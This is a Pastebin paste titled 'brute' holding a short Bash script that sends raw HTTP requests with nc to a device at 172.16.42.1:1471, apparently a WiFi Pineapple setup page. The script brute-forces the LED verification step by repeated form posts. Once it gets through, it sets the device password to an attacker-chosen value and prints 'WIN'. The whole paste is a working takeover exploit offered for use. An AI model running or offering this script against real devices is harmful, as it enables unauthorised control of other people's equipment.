Advertisement
FlyFar

brute

Jul 13th, 2023
775
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.74 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2. post() {
  3.     len=`printf "$2" | wc -c`
  4.     printf "POST $1 HTTP/1.1\nHost:172.16.42.1:1471\nContent-Type:application/x-www-form-urlencoded\nCookie:PHPSESSID=$3\nContent-Length:$len\nConnection: close\n\n$2" | nc -w 1 172.16.42.1 1471
  5. }
  6.  
  7.  
  8. s1=`printf 'HEAD /?action=verify_pineapple HTTP/1.1\nHost: 172.16.42.1:1471\nConnection: close\n\n' | nc -w 1 172.16.42.1 1471 | egrep -o '[0-9a-z]{32}'`
  9.  
  10. for try in `seq 1 56`
  11. do
  12.     post "/?action=verify_pineapple" "green=on&amber=on&blue=on&red=on&verify_pineapple=Continue" "$s1" | grep "password" && post "/?action=set_password" "password=pineapplesareyummy&password2=pineapplesareyummy&eula=1&sw_license=1&set_password=Set+Password" "$s1" | grep "success" && password="root" && echo WIN && break;
  13. done
Tags: bruteforce
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement